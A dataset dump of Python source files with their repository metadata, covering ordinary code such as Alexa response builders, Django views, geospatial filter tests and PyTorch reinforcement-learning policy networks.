01c9b97af3b426bee5f2120f7e15eb76b304be31

111

py

Python

platform/radio/efr32_multiphy_configurator/pyradioconfig/parts/dumbo/calculators/calc_rail.py

SiliconLabs/gecko_sdk

310814a9016b60a8012d50c62cc168a783ac102b

[ "Zlib" ]

69

2021-12-16T01:34:09.000Z

2022-03-31T08:27:39.000Z

platform/radio/efr32_multiphy_configurator/pyradioconfig/parts/dumbo/calculators/calc_rail.py

SiliconLabs/gecko_sdk

310814a9016b60a8012d50c62cc168a783ac102b

[ "Zlib" ]

6

2022-01-12T18:22:08.000Z

2022-03-25T10:19:27.000Z

platform/radio/efr32_multiphy_configurator/pyradioconfig/parts/dumbo/calculators/calc_rail.py

SiliconLabs/gecko_sdk

310814a9016b60a8012d50c62cc168a783ac102b

[ "Zlib" ]

21

2021-12-20T09:05:45.000Z

2022-03-28T02:52:28.000Z

from pyradioconfig.parts.common.calculators.calc_rail import CalcRail class CalcRailDumbo(CalcRail): pass

22.2

69

0.828829

13

111

7

0.923077

0

0.108108

111

4

70

27.75

0.919192

0

1

0

true

0.333333

0

0.666667

0

1

0

null

0

1

0

null

0

1

0

1

0

6

bf32eb85a3492df2e0f4978d55de524a878a9094

48

py

Python

Codewars/last_digit_of_a_large_number - (5 kyu).py

maxcohen31/A-bored-math-student

007beb4dabf7b4406f48e9a3a967c29d032eab89

[ "MIT" ]

null

Codewars/last_digit_of_a_large_number - (5 kyu).py

maxcohen31/A-bored-math-student

007beb4dabf7b4406f48e9a3a967c29d032eab89

[ "MIT" ]

null

Codewars/last_digit_of_a_large_number - (5 kyu).py

maxcohen31/A-bored-math-student

007beb4dabf7b4406f48e9a3a967c29d032eab89

[ "MIT" ]

null

def last_digit(a, b): return pow(a, b, 10)

12

24

0.583333

10

48

2.7

0.8

0.148148

0

0.055556

0.25

48

3

25

16

0.694444

0

1

0.5

false

0

0.5

1

0

1

0

null

0

1

0

null

0

1

0

1

0

6

174d4e9708465fbd0f226f8b496fd207fb26dc8e

2,874

py

Python

src/alexa_response_builder/__init__.py

parveenchahal/AlexaSkill_PCSongs

2368ff6b15fe76996a2943d11a9275573c6daa7f

[ "MIT" ]

null

src/alexa_response_builder/__init__.py

parveenchahal/AlexaSkill_PCSongs

2368ff6b15fe76996a2943d11a9275573c6daa7f

[ "MIT" ]

null

src/alexa_response_builder/__init__.py

parveenchahal/AlexaSkill_PCSongs

2368ff6b15fe76996a2943d11a9275573c6daa7f

[ "MIT" ]

null

def build_response(response: dict, session_attributes: dict = {}, version: str = '1.0'): return { 'version': version, 'sessionAttributes': session_attributes, 'response': response } def build_empty_response(): return { 'shouldEndSession': True } def build_pause_response(output: str = ""): return { 'outputSpeech': { 'type': 'PlainText', 'text': output }, 'directives': [{ 'type': 'AudioPlayer.Stop' }], 'shouldEndSession': True } def build_stop_response(output: str = ""): return { 'outputSpeech': { 'type': 'PlainText', 'text': output }, 'directives': [{ 'type': 'AudioPlayer.Stop' }], 'shouldEndSession': True } def build_speechlet_response(output: str, should_end_session: bool = True): return { 'outputSpeech': { 'type': 'PlainText', 'text': output }, 'shouldEndSession': should_end_session } def build_audio_response(url: str, token: str, should_end_session: bool = True, offsetInMilliseconds: int = 0, play_behaviour = 'REPLACE_ALL'): return { 'directives': [{ 'type': 'AudioPlayer.Play', 'playBehavior': play_behaviour, 'audioItem': { 'stream': { 'token': str(token), 'url': url, 'offsetInMilliseconds': offsetInMilliseconds } } }], 'shouldEndSession': should_end_session } def build_audio_speechlet_response(output: str, url: str, token: str, should_end_session: bool = True, offsetInMilliseconds: int = 0, play_behaviour = 'REPLACE_ALL'): return { 'outputSpeech': { 'type': 'PlainText', 'text': output }, 'directives': [{ 'type': 'AudioPlayer.Play', 'playBehavior': play_behaviour, 'audioItem': { 'stream': { 'token': str(token), 'url': url, 'offsetInMilliseconds': offsetInMilliseconds } } }], 'shouldEndSession': should_end_session } def build_enqueue_audio_response(url: str, token: str, should_end_session: bool = True, offsetInMilliseconds: int = 0, play_behaviour = 'REPLACE_ALL'): return { 'directives': [{ 'type': 'AudioPlayer.Play', 'playBehavior': play_behaviour, 'audioItem': { 'stream': { 'token': str(token), 'url': url, 'offsetInMilliseconds': offsetInMilliseconds } } }], 'shouldEndSession': should_end_session }

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216

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null

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6

176af3ef3eb8c7e7dfc9fd3281ad53b62509741c

235

py

Python

plugins/quetz_repodata_patching/setup.py

davidbrochart/quetz

fd9b95add5b8f7a1c0863e7e08bf5a6ab5b84984

[ "BSD-3-Clause" ]

1

2021-08-23T02:49:04.000Z

plugins/quetz_repodata_patching/setup.py

davidbrochart/quetz

fd9b95add5b8f7a1c0863e7e08bf5a6ab5b84984

[ "BSD-3-Clause" ]

2

2021-08-23T02:49:01.000Z

2022-02-27T22:07:37.000Z

plugins/quetz_repodata_patching/setup.py

davidbrochart/quetz

fd9b95add5b8f7a1c0863e7e08bf5a6ab5b84984

[ "BSD-3-Clause" ]

3

2021-09-10T10:03:51.000Z

2021-09-16T07:28:51.000Z

from setuptools import setup setup( name="quetz-repodata_patching", install_requires="quetz", entry_points={"quetz": ["quetz-repodata_patching = quetz_repodata_patching.main"]}, packages=["quetz_repodata_patching"], )

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1

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1

null

0

1

0

6

1795872f3e6a4016771f03180469ac5eb0cb718b

1,755

py

Python

Home/views.py

NAL0/nalbt

c411ead60fac8923e960e67f4bbad5c7aeffc614

[ "MIT" ]

null

Home/views.py

NAL0/nalbt

c411ead60fac8923e960e67f4bbad5c7aeffc614

[ "MIT" ]

null

Home/views.py

NAL0/nalbt

c411ead60fac8923e960e67f4bbad5c7aeffc614

[ "MIT" ]

null

from django.shortcuts import render from django.contrib.auth.decorators import login_required # Create your views here. def index(request): return render(request, 'Home/home.html') def index2(request): return render(request, "Home/SDG's.html") @login_required def index3(request): return render(request, 'Home/constitutive_act.html') def index4(request): return render(request, 'Home/2.html') def index5(request): return render(request, 'Home/SADC_national_anthem.html') def index6(request): return render(request, 'Home/plan.html') def index7(request): return render(request, 'Home/g1.html') def index8(request): return render(request, 'Home/g2.html') def index9(request): return render(request, 'Home/g3.html') def index10(request): return render(request, 'Home/g4.html') def index11(request): return render(request, 'Home/g5.html') def index12(request): return render(request, 'Home/g6.html') def index13(request): return render(request, 'Home/g7.html') def index14(request): return render(request, 'Home/g8.html') def index15(request): return render(request, 'Home/g9.html') def index16(request): return render(request, 'Home/g10.html') def index17(request): return render(request, 'Home/g11.html') def index18(request): return render(request, 'Home/g12.html') def index19(request): return render(request, 'Home/g13.html') def index20(request): return render(request, 'Home/g14.html') def index21(request): return render(request, 'Home/g15.html') def index22(request): return render(request, 'Home/g16.html') def index23(request): return render(request, 'Home/g17.html') def index24(request): return render(request, 'Home/g18.html')

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null

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null

0

1

0

1

0

6

bda889d15771567b147db2ef3d7b89f08651b264

18,538

py

Python

tests/test_util_location.py

GuillaumeVandekerckhove/pydov

b51f77bf93d1f9e96dd39edf564d95426da04126

[ "MIT" ]

32

2017-03-17T16:36:40.000Z

2022-02-18T13:10:50.000Z

tests/test_util_location.py

GuillaumeVandekerckhove/pydov

b51f77bf93d1f9e96dd39edf564d95426da04126

[ "MIT" ]

240

2017-01-03T12:32:15.000Z

2022-03-30T11:52:02.000Z

tests/test_util_location.py

DOV-Vlaanderen/dov-pydownloader

126b17f4ad870d9fae5cb2c4b868c564cf7cd1b3

[ "MIT" ]

17

2017-01-09T21:00:36.000Z

2022-03-01T15:04:21.000Z

"""Module grouping tests for the pydov.util.location module.""" import pytest from owslib.fes import ( And, Or, Not, ) from pydov.util.location import ( Box, Point, Equals, Disjoint, Touches, Within, Intersects, WithinDistance, GmlObject ) from owslib.etree import etree from pydov.util.owsutil import set_geometry_column from tests.abstract import clean_xml class TestLocation(object): """Class grouping tests for the AbstractLocation subtypes.""" def test_box(self): """Test the default Box type. Test whether the generated XML is correct. """ box = Box(94720, 186910, 112220, 202870) xml = box.get_element() assert clean_xml(etree.tostring(xml).decode('utf8')) == clean_xml( '<gml:Envelope srsDimension="2" ' 'srsName="http://www.opengis.net/gml/srs/epsg.xml#31370">' '<gml:lowerCorner>94720.000000 186910.000000</gml:lowerCorner>' '<gml:upperCorner>112220.000000 202870.000000</gml:upperCorner>' '</gml:Envelope>') def test_box_wgs84(self): """Test the Box type with WGS84 coordinates. Test whether the generated XML is correct. """ box = Box(3.6214, 50.9850, 3.8071, 51.1270, epsg=4326) xml = box.get_element() assert clean_xml(etree.tostring(xml).decode('utf8')) == clean_xml( '<gml:Envelope srsDimension="2" ' 'srsName="http://www.opengis.net/gml/srs/epsg.xml#4326">' '<gml:lowerCorner>3.621400 50.985000</gml:lowerCorner>' '<gml:upperCorner>3.807100 51.127000</gml:upperCorner>' '</gml:Envelope>') def test_box_invalid(self): """Test the Box type with the wrong ordering of coordinates. Test whether a ValueError is raised. """ with pytest.raises(ValueError): Box(94720, 202870, 186910, 112220) def test_box_invalid_wgs84(self): """Test the Box type with the wrong ordering of WGS84 coordinates. Test whether a ValueError is raised. """ with pytest.raises(ValueError): Box(50.9850, 3.6214, 3.8071, 51.1270, epsg=4326) def test_point(self): """Test the default Point type. Test whether the generated XML is correct. """ point = Point(110680, 202030) xml = point.get_element() assert clean_xml(etree.tostring(xml).decode('utf8')) == clean_xml( '<gml:Point srsDimension="2" ' 'srsName="http://www.opengis.net/gml/srs/epsg.xml#31370">' '<gml:pos>110680.000000 202030.000000</gml:pos></gml:Point>') def test_point_wgs84(self): """Test the Point type with WGS84 coordinates. Test whether the generated XML is correct. """ point = Point(3.8071, 51.1270, epsg=4326) xml = point.get_element() assert clean_xml(etree.tostring(xml).decode('utf8')) == clean_xml( '<gml:Point srsDimension="2" ' 'srsName="http://www.opengis.net/gml/srs/epsg.xml#4326">' '<gml:pos>3.807100 51.127000</gml:pos></gml:Point>') def test_gmlobject_element(self): """Test the GmlObject type with an etree.Element. Test whether the returned XML is correct. """ with open('tests/data/util/location/polygon_single_31370.gml', 'r') as gmlfile: gml = gmlfile.read() gml_element = etree.fromstring(gml.encode('utf8')) gml_element = gml_element.find( './/{http://www.opengis.net/gml}Polygon') gml_object = GmlObject(gml_element) assert clean_xml(etree.tostring( gml_object.get_element()).decode('utf8')) == clean_xml( '<gml:Polygon ' 'srsName="urn:ogc:def:crs:EPSG::31370"><gml:exterior><gml' ':LinearRing><gml:posList>108636.150020818 194960.844295764 ' '108911.922161617 194291.111953824 109195.573506438 ' '195118.42837622 108636.150020818 ' '194960.844295764</gml:posList></gml:LinearRing></gml' ':exterior></gml:Polygon>') def test_gmlobject_bytes(self): """Test the GmlObject type with a GML string. Test whether the returned XML is correct. """ with open('tests/data/util/location/polygon_single_31370.gml', 'r') as gmlfile: gml = gmlfile.read() gml_element = etree.fromstring(gml.encode('utf8')) gml_element = gml_element.find( './/{http://www.opengis.net/gml}Polygon') gml_object = GmlObject(etree.tostring(gml_element)) assert clean_xml(etree.tostring( gml_object.get_element()).decode('utf8')) == clean_xml( '<gml:Polygon ' 'srsName="urn:ogc:def:crs:EPSG::31370"><gml:exterior><gml' ':LinearRing><gml:posList>108636.150020818 194960.844295764 ' '108911.922161617 194291.111953824 109195.573506438 ' '195118.42837622 108636.150020818 ' '194960.844295764</gml:posList></gml:LinearRing></gml' ':exterior></gml:Polygon>') def test_gmlobject_string(self): """Test the GmlObject type with a GML string. Test whether the returned XML is correct. """ with open('tests/data/util/location/polygon_single_31370.gml', 'r') as gmlfile: gml = gmlfile.read() gml_element = etree.fromstring(gml.encode('utf8')) gml_element = gml_element.find( './/{http://www.opengis.net/gml}Polygon') gml_object = GmlObject(etree.tostring(gml_element).decode('utf8')) assert clean_xml(etree.tostring( gml_object.get_element()).decode('utf8')) == clean_xml( '<gml:Polygon ' 'srsName="urn:ogc:def:crs:EPSG::31370"><gml:exterior><gml' ':LinearRing><gml:posList>108636.150020818 194960.844295764 ' '108911.922161617 194291.111953824 109195.573506438 ' '195118.42837622 108636.150020818 ' '194960.844295764</gml:posList></gml:LinearRing></gml' ':exterior></gml:Polygon>') class TestBinarySpatialFilters(object): """Class grouping tests for the AbstractBinarySpatialFilter subtypes.""" def test_equals_point(self): """Test the Equals spatial filter with a Point location. Test whether the generated XML is correct. """ equals = Equals(Point(150000, 150000)) equals.set_geometry_column('geom') xml = equals.toXML() assert clean_xml(etree.tostring(xml).decode('utf8')) == clean_xml( '<ogc:Equals><ogc:PropertyName>geom</ogc:PropertyName>' '<gml:Point srsDimension="2" ' 'srsName="http://www.opengis.net/gml/srs/epsg.xml#31370">' '<gml:pos>150000.000000 150000.000000</gml:pos></gml:Point>' '</ogc:Equals>') def test_equals_nogeom(self): """Test the Equals spatial filter without setting a geometry column. Test whether a RuntimeError is raised. """ equals = Equals(Point(150000, 150000)) with pytest.raises(RuntimeError): equals.toXML() def test_disjoint_box(self): """Test the Disjoint spatial filter with a Box location. Test whether the generated XML is correct. """ disjoint = Disjoint(Box(94720, 186910, 112220, 202870)) disjoint.set_geometry_column('geom') xml = disjoint.toXML() assert clean_xml(etree.tostring(xml).decode('utf8')) == clean_xml( '<ogc:Disjoint><ogc:PropertyName>geom</ogc:PropertyName>' '<gml:Envelope srsDimension="2" ' 'srsName="http://www.opengis.net/gml/srs/epsg.xml#31370">' '<gml:lowerCorner>94720.000000 186910.000000</gml:lowerCorner>' '<gml:upperCorner>112220.000000 202870.000000</gml:upperCorner>' '</gml:Envelope></ogc:Disjoint>') def test_disjoint_nogeom(self): """Test the Disjoint spatial filter without setting a geometry column. Test whether a RuntimeError is raised. """ disjoint = Disjoint(Point(150000, 150000)) with pytest.raises(RuntimeError): disjoint.toXML() def test_touches_box(self): """Test the Touches spatial filter with a Box location. Test whether the generated XML is correct. """ touches = Touches(Box(94720, 186910, 112220, 202870)) touches.set_geometry_column('geom') xml = touches.toXML() assert clean_xml(etree.tostring(xml).decode('utf8')) == clean_xml( '<ogc:Touches><ogc:PropertyName>geom</ogc:PropertyName>' '<gml:Envelope srsDimension="2" ' 'srsName="http://www.opengis.net/gml/srs/epsg.xml#31370">' '<gml:lowerCorner>94720.000000 186910.000000</gml:lowerCorner>' '<gml:upperCorner>112220.000000 202870.000000</gml:upperCorner>' '</gml:Envelope></ogc:Touches>') def test_touches_nogeom(self): """Test the Touches spatial filter without setting a geometry column. Test whether a RuntimeError is raised. """ touches = Touches(Point(150000, 150000)) with pytest.raises(RuntimeError): touches.toXML() def test_within_box(self): """Test the Within spatial filter with a Box location. Test whether the generated XML is correct. """ within = Within(Box(94720, 186910, 112220, 202870)) within.set_geometry_column('geom') xml = within.toXML() assert clean_xml(etree.tostring(xml).decode('utf8')) == clean_xml( '<ogc:Within><ogc:PropertyName>geom</ogc:PropertyName>' '<gml:Envelope srsDimension="2" ' 'srsName="http://www.opengis.net/gml/srs/epsg.xml#31370">' '<gml:lowerCorner>94720.000000 186910.000000</gml:lowerCorner>' '<gml:upperCorner>112220.000000 202870.000000</gml:upperCorner>' '</gml:Envelope></ogc:Within>') def test_within_nogeom(self): """Test the Within spatial filter without setting a geometry column. Test whether a RuntimeError is raised. """ within = Within(Box(94720, 186910, 112220, 202870)) with pytest.raises(RuntimeError): within.toXML() def test_intersects_box(self): """Test the Intersects spatial filter with a Box location. Test whether the generated XML is correct. """ intersects = Intersects(Box(94720, 186910, 112220, 202870)) intersects.set_geometry_column('geom') xml = intersects.toXML() assert clean_xml(etree.tostring(xml).decode('utf8')) == clean_xml( '<ogc:Intersects><ogc:PropertyName>geom</ogc:PropertyName>' '<gml:Envelope srsDimension="2" ' 'srsName="http://www.opengis.net/gml/srs/epsg.xml#31370">' '<gml:lowerCorner>94720.000000 186910.000000</gml:lowerCorner>' '<gml:upperCorner>112220.000000 202870.000000</gml:upperCorner>' '</gml:Envelope></ogc:Intersects>') def test_intersects_nogeom(self): """Test the Intersects spatial filter without setting a geometry column. Test whether a RuntimeError is raised. """ intersects = Intersects(Box(94720, 186910, 112220, 202870)) with pytest.raises(RuntimeError): intersects.toXML() class TestLocationFilters(object): """Class grouping tests for the AbstractLocationFilter subtypes.""" def test_withindistance_point(self): """Test the WithinDistance spatial filter with a Point location. Test whether the generated XML is correct. """ withindistance = WithinDistance(Point(150000, 150000), 100) withindistance.set_geometry_column('geom') xml = withindistance.toXML() assert clean_xml(etree.tostring(xml).decode('utf8')) == clean_xml( '<ogc:DWithin><ogc:PropertyName>geom</ogc:PropertyName>' '<gml:Point srsDimension="2" ' 'srsName="http://www.opengis.net/gml/srs/epsg.xml#31370">' '<gml:pos>150000.000000 150000.000000</gml:pos></gml:Point>' '<gml:Distance units="meter">100.000000</gml:Distance>' '</ogc:DWithin>') def test_withindistance_point_named_args(self): """Test the WithinDistance spatial filter with a Point location. Test whether the generated XML is correct. """ withindistance = WithinDistance(location=Point(150000, 150000), distance=100, distance_unit='meter') withindistance.set_geometry_column('geom') xml = withindistance.toXML() assert clean_xml(etree.tostring(xml).decode('utf8')) == clean_xml( '<ogc:DWithin><ogc:PropertyName>geom</ogc:PropertyName>' '<gml:Point srsDimension="2" ' 'srsName="http://www.opengis.net/gml/srs/epsg.xml#31370">' '<gml:pos>150000.000000 150000.000000</gml:pos></gml:Point>' '<gml:Distance units="meter">100.000000</gml:Distance>' '</ogc:DWithin>') def test_withindistance_nogeom(self): """Test the WithinDistance spatial filter without setting a geometry column. Test whether a RuntimeError is raised. """ withindistance = WithinDistance(Point(150000, 150000), 100) with pytest.raises(RuntimeError): withindistance.toXML() def test_withindistance_point_wgs84(self): """Test the WithinDistance spatial filter with a Point location using WGS84 coordinates. Test whether the generated XML is correct. """ withindistance = WithinDistance(Point(51.1270, 3.8071, epsg=4326), 100) withindistance.set_geometry_column('geom') xml = withindistance.toXML() assert clean_xml(etree.tostring(xml).decode('utf8')) == clean_xml( '<ogc:DWithin><ogc:PropertyName>geom</ogc:PropertyName>' '<gml:Point srsDimension="2" ' 'srsName="http://www.opengis.net/gml/srs/epsg.xml#4326">' '<gml:pos>51.127000 3.807100</gml:pos></gml:Point>' '<gml:Distance units="meter">100.000000</gml:Distance>' '</ogc:DWithin>') class TestLocationFilterExpressions(object): """Class grouping tests for expressions with spatial filters.""" def test_point_and_box(self): """Test a location filter expression using a Within(Box) and a WithinDistance(Point) filter. Test whether the generated XML is correct. """ point_and_box = And([WithinDistance(Point(150000, 150000), 100), Within(Box(94720, 186910, 112220, 202870))]) xml = set_geometry_column(point_and_box, 'geom') assert clean_xml(etree.tostring(xml).decode('utf8')) == clean_xml( '<ogc:And><ogc:DWithin><ogc:PropertyName>geom</ogc:PropertyName' '><gml:Point srsDimension="2" ' 'srsName="http://www.opengis.net/gml/srs/epsg.xml#31370"><gml' ':pos>150000.000000 ' '150000.000000</gml:pos></gml:Point><gml:Distance ' 'units="meter">100.000000</gml:Distance></ogc:DWithin><ogc' ':Within><ogc:PropertyName>geom</ogc:PropertyName><gml' ':Envelope srsDimension="2" ' 'srsName="http://www.opengis.net/gml/srs/epsg.xml#31370"><gml' ':lowerCorner>94720.000000 ' '186910.000000</gml:lowerCorner><gml:upperCorner>112220.000000 ' '202870.000000</gml:upperCorner></gml:Envelope></ogc:Within' '></ogc:And>') def test_box_or_box(self): """Test a location filter expression using an Intersects(Box) and a Within(Box) filter. Test whether the generated XML is correct. """ box_or_box = Or([ Intersects(Box(50.9850, 3.6214, 51.1270, 3.8071, epsg=4326)), Within(Box(94720, 186910, 112220, 202870))]) xml = set_geometry_column(box_or_box, 'geom') assert clean_xml(etree.tostring(xml).decode('utf8')) == clean_xml( '<ogc:Or><ogc:Intersects><ogc:PropertyName>geom</ogc' ':PropertyName><gml:Envelope srsDimension="2" ' 'srsName="http://www.opengis.net/gml/srs/epsg.xml#4326"><gml' ':lowerCorner>50.985000 ' '3.621400</gml:lowerCorner><gml:upperCorner>51.127000 ' '3.807100</gml:upperCorner></gml:Envelope></ogc:Intersects><ogc' ':Within><ogc:PropertyName>geom</ogc:PropertyName><gml:Envelope ' 'srsDimension="2" ' 'srsName="http://www.opengis.net/gml/srs/epsg.xml#31370"><gml ' ':lowerCorner>94720.000000 ' '186910.000000</gml:lowerCorner><gml:upperCorner>112220.000000 ' '202870.000000</gml:upperCorner></gml:Envelope></ogc:Within' '></ogc:Or>') def test_recursive(self): """Test a location filter expression using a recursive expression with And(Not(WithinDistance(Point) filter. Test whether the generated XML is correct. """ point_and_box = And([Not([WithinDistance(Point(150000, 150000), 100)]), Within(Box(94720, 186910, 112220, 202870))]) xml = set_geometry_column(point_and_box, 'geom') assert clean_xml(etree.tostring(xml).decode('utf8')) == clean_xml( '<ogc:And><ogc:Not><ogc:DWithin><ogc:PropertyName>geom</ogc' ':PropertyName><gml:Point srsDimension="2" ' 'srsName="http://www.opengis.net/gml/srs/epsg.xml#31370"><gml' ':pos>150000.000000 ' '150000.000000</gml:pos></gml:Point><gml:Distance ' 'units="meter">100.000000</gml:Distance></ogc:DWithin></ogc:Not' '><ogc:Within><ogc:PropertyName>geom</ogc:PropertyName><gml' ':Envelope srsDimension="2" ' 'srsName="http://www.opengis.net/gml/srs/epsg.xml#31370"><gml' ':lowerCorner>94720.000000 ' '186910.000000</gml:lowerCorner><gml:upperCorner>112220.000000 ' '202870.000000</gml:upperCorner></gml:Envelope></ogc:Within' '></ogc:And>')

38.065708

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18,538

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0.860196

0.827691

0.777678

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0.729909

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18,538

486

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null

0

6

da3ad44f1d9a36cde1f445b02645bdab5ab8c2c0

3,331

py

Python

common/policies.py

r-salas/minimal-rl

bd07c51fd76f8a2f908454d2f11b627d8efb1ff1

[ "MIT" ]

null

common/policies.py

r-salas/minimal-rl

bd07c51fd76f8a2f908454d2f11b627d8efb1ff1

[ "MIT" ]

null

common/policies.py

r-salas/minimal-rl

bd07c51fd76f8a2f908454d2f11b627d8efb1ff1

[ "MIT" ]

null

# # # # Policies # # import torch import gym.spaces import torch.nn as nn class QNetworkDiscretePolicy(nn.Module): def __init__(self, observation_space: gym.spaces.Box, action_space: gym.spaces.Discrete): super().__init__() self.fc = nn.Sequential( nn.Linear(observation_space.shape[0], 64), nn.ReLU(), nn.Linear(64, 64), nn.ReLU(), nn.Linear(64, action_space.n) ) def forward(self, obs): return self.fc(obs) class ActorCriticDiscretePolicy(nn.Module): def __init__(self, observation_space: gym.spaces.Box, action_space: gym.spaces.Discrete): super().__init__() self.common = nn.Sequential( nn.Linear(observation_space.shape[0], 64), nn.ReLU(), nn.Linear(64, 64), nn.ReLU(), ) self.actor = nn.Linear(64, action_space.n) self.critic = nn.Linear(64, 1) def forward(self, obs): x = self.common(obs) return self.critic(x), self.actor(x) class ActorDiscretePolicy(nn.Module): def __init__(self, observation_space: gym.spaces.Box, action_space: gym.spaces.Discrete): super().__init__() self.fc = nn.Sequential( nn.Linear(observation_space.shape[0], 64), nn.ReLU(), nn.Linear(64, 64), nn.ReLU(), nn.Linear(64, action_space.n) # logits ) def forward(self, obs): x = self.fc(obs) return x class ActorContinousPolicy(nn.Module): def __init__(self, observation_space: gym.spaces.Box, action_space: gym.spaces.Box): super().__init__() self.fc = nn.Sequential( nn.Linear(observation_space.shape[0], 64), nn.ReLU(), nn.Linear(64, 64), nn.ReLU(), nn.Linear(64, action_space.shape[0]), ) def forward(self, obs): x = self.fc(obs) x = torch.tanh(x) return x class CriticDiscretePolicy(nn.Module): def __init__(self, observation_space: gym.spaces.Box, action_space: gym.spaces.Discrete): super().__init__() self.fc = nn.Sequential( nn.Linear(observation_space.shape[0] + action_space.shape[0], 64), nn.ReLU(), nn.Linear(64, 64), nn.ReLU(), nn.Linear(64, action_space.n) # logits ) def forward(self, obs, action): if obs.ndim < 2: obs = obs.unsqueeze(-1) if action.ndim < 2: action = action.unsqueeze(-1) x = torch.cat([obs, action], 1) x = self.fc(x) return x class CriticContinousPolicy(nn.Module): def __init__(self, observation_space: gym.spaces.Box, action_space: gym.spaces.Box): super().__init__() self.fc = nn.Sequential( nn.Linear(observation_space.shape[0] + action_space.shape[0], 64), nn.ReLU(), nn.Linear(64, 64), nn.ReLU(), nn.Linear(64, 1), ) def forward(self, obs: torch.Tensor, action: torch.Tensor): if obs.ndim < 2: obs = obs.unsqueeze(-1) if action.ndim < 2: action = action.unsqueeze(-1) x = torch.cat([obs, action], 1) x = self.fc(x) return x

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6

da47aa694b982f4ffb78e38a155ad91581f1d4ba

38

py

Python

os_v4_hek/defs/shpp.py

holy-crust/reclaimer

0aa693da3866ce7999c68d5f71f31a9c932cdb2c

[ "MIT" ]

null

os_v4_hek/defs/shpp.py

holy-crust/reclaimer

0aa693da3866ce7999c68d5f71f31a9c932cdb2c

[ "MIT" ]

null

os_v4_hek/defs/shpp.py

holy-crust/reclaimer

0aa693da3866ce7999c68d5f71f31a9c932cdb2c

[ "MIT" ]

null

from ...os_v3_hek.defs.shpp import *

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e51acb3bff1c06fbd2eb0fe66f54762845916a25

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py

Python

graphical_models/classes/interventions/__init__.py

vishalbelsare/graphical_models

15078b3a8ac0af7198150b06359d6c701faa26c3

[ "BSD-3-Clause" ]

2

2021-09-12T13:41:12.000Z

2021-11-10T12:22:03.000Z

graphical_models/classes/interventions/__init__.py

vishalbelsare/graphical_models

15078b3a8ac0af7198150b06359d6c701faa26c3

[ "BSD-3-Clause" ]

null

graphical_models/classes/interventions/__init__.py

vishalbelsare/graphical_models

15078b3a8ac0af7198150b06359d6c701faa26c3

[ "BSD-3-Clause" ]

1

2021-09-12T13:41:16.000Z

from .interventions import *

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e58232d64a1cae9bbc847a4178bb835fcbede84e

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py

Python

extra_tests/cffi_tests/embedding/test_performance.py

nanjekyejoannah/pypy

e80079fe13c29eda7b2a6b4cd4557051f975a2d9

[ "Apache-2.0", "OpenSSL" ]

333

2015-08-08T18:03:38.000Z

2022-03-22T18:13:12.000Z

extra_tests/cffi_tests/embedding/test_performance.py

nanjekyejoannah/pypy

e80079fe13c29eda7b2a6b4cd4557051f975a2d9

[ "Apache-2.0", "OpenSSL" ]

7

2020-02-16T16:49:05.000Z

2021-11-26T09:00:56.000Z

extra_tests/cffi_tests/embedding/test_performance.py

nanjekyejoannah/pypy

e80079fe13c29eda7b2a6b4cd4557051f975a2d9

[ "Apache-2.0", "OpenSSL" ]

55

2015-08-16T02:41:30.000Z

2022-03-20T20:33:35.000Z

# Generated by pypy/tool/import_cffi.py import sys from extra_tests.cffi_tests.embedding.test_basic import EmbeddingTests if sys.platform == 'win32': import pytest pytestmark = pytest.mark.skip("written with POSIX functions") class TestPerformance(EmbeddingTests): def test_perf_single_threaded(self): perf_cffi = self.prepare_module('perf') self.compile('perf-test', [perf_cffi], opt=True) output = self.execute('perf-test') print('='*79) print(output.rstrip()) print('='*79) def test_perf_in_1_thread(self): perf_cffi = self.prepare_module('perf') self.compile('perf-test', [perf_cffi], opt=True, threads=True, defines={'PTEST_USE_THREAD': '1'}) output = self.execute('perf-test') print('='*79) print(output.rstrip()) print('='*79) def test_perf_in_2_threads(self): perf_cffi = self.prepare_module('perf') self.compile('perf-test', [perf_cffi], opt=True, threads=True, defines={'PTEST_USE_THREAD': '2'}) output = self.execute('perf-test') print('='*79) print(output.rstrip()) print('='*79) def test_perf_in_4_threads(self): perf_cffi = self.prepare_module('perf') self.compile('perf-test', [perf_cffi], opt=True, threads=True, defines={'PTEST_USE_THREAD': '4'}) output = self.execute('perf-test') print('='*79) print(output.rstrip()) print('='*79) def test_perf_in_8_threads(self): perf_cffi = self.prepare_module('perf') self.compile('perf-test', [perf_cffi], opt=True, threads=True, defines={'PTEST_USE_THREAD': '8'}) output = self.execute('perf-test') print('='*79) print(output.rstrip()) print('='*79)

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008e2e1c1419b881bbb4bce8d5ba7adc21e56896

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py

Python

entmoot/__init__.py

cornelius-braun/entmoot

47a3c2ffd799dd05a0f5d896e665f17d77688e39

[ "BSD-3-Clause" ]

27

2020-08-31T13:30:14.000Z

2022-03-21T11:35:05.000Z

entmoot/__init__.py

cornelius-braun/entmoot

47a3c2ffd799dd05a0f5d896e665f17d77688e39

[ "BSD-3-Clause" ]

2

2021-02-16T11:27:53.000Z

2021-04-20T19:50:53.000Z

entmoot/__init__.py

cornelius-braun/entmoot

47a3c2ffd799dd05a0f5d896e665f17d77688e39

[ "BSD-3-Clause" ]

6

2020-10-22T11:45:43.000Z

2022-03-28T17:42:53.000Z

from .optimizer import Optimizer from .optimizer import entmoot_minimize from .space import Space from .benchmarks import * __all__ = ( "Optimizer" )

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008fbb23f32fd52ddfa380e74549747341a459b7

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py

Python

files/test_app/artifactory/artifactory.py

jpnewman/jpnewman_ansible_elk

47ffec74f7ec6f62a2a71c17bf6940e42b0e2467

[ "MIT" ]

1

2017-02-04T22:09:25.000Z

files/test_app/artifactory/artifactory.py

jpnewman/jpnewman_ansible_elk

47ffec74f7ec6f62a2a71c17bf6940e42b0e2467

[ "MIT" ]

null

files/test_app/artifactory/artifactory.py

jpnewman/jpnewman_ansible_elk

47ffec74f7ec6f62a2a71c17bf6940e42b0e2467

[ "MIT" ]

null

from .nuget_package import NugetPackages class Artifactory(object): def __init__(self): self.nuget_package_obj = NugetPackages() def create_all_packages(self): self.nuget_package_obj.create_all()

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null

0

1

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1

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6

00b797af22fe1f0b033de0d8d2224ba3355322bf

441

py

Python

havok_py/utils/__init__.py

yangjinhui11/havok_ml

f00dc11d982adfb6419c91fccb8c36332add9360

[ "MIT" ]

null

havok_py/utils/__init__.py

yangjinhui11/havok_ml

f00dc11d982adfb6419c91fccb8c36332add9360

[ "MIT" ]

null

havok_py/utils/__init__.py

yangjinhui11/havok_ml

f00dc11d982adfb6419c91fccb8c36332add9360

[ "MIT" ]

null

